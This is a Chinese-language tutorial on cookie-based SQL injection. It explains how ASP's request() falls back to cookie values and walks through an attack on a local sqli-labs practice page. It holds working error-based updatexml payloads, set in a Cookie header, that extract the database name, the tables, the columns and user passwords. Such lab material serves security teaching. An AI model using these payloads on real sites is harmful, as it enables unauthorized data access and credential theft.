Cookie最先是由Netscape(网景)公司提出的,Netscape官方文档中对Cookie的定义是这样的:
Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。
Cookie的用途非常广泛,在网络中经常可以见到Cookie的身影。它通常被用来辨别用户身份、进行session跟踪,最典型的应用就是保存用户的账号和密码用来自动登录网站和电子商务网站中的“购物车”。
Cookie注入简单来说就是利用Cookie而发起的注入攻击。从本质上来讲,Cookie注入与传统的SQL注入并无不同,两者都是针对数据库的注入,只是表现形式上略有不同罢了。
要想深入了解Cookie注入的成因,必须要了解ASP脚本中的request对象。它被用来获取客户端提交的数据。
Request对象的使用方法一般是这样的:request.[集合名称](参数名称),比如获取从表单中提交的数据时可以这样写:request.form(“参数名称”),但ASP中规定也可以省略集合名称,直接用这样的方式获取数据:request(“参数名称”),当使用这样的方式获取数据时,ASP规定是按QueryString、Form、Cookies、ServerVariables的顺序来获取数据的。这样,当我们使用request(“参数名称”)方式获取客户端提交的数据,并且没有对使用request.cookies(“参数名称”)方式提交的数据进行过滤时,Cookie注入就产生了。
1.寻找形如“.asp?id=xx”类的带参数的URL。
2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。如果正常,则说明使用cookie作为参数传递。
3.使用burp抓包并构造payload
4.使用常规注入语句进行注入即可。
对http://127.0.0.1/sqli/Less-20/页面进行cookie注入,查询到用户信息
环境:sqli靶场
1.爆库名:
Cookie: uname=admin’ and updatexml(1,concat(0x7e,database(),0x7e),1)–+
2.爆表名:
Cookie: uname=admin’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1)–+
3.爆字段名:
Cookie: uname=admin’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),1)–+
4.爆数据:
Cookie: uname=admin’ and updatexml(1,concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password,0x7e) from security.users),0x7e),1)–+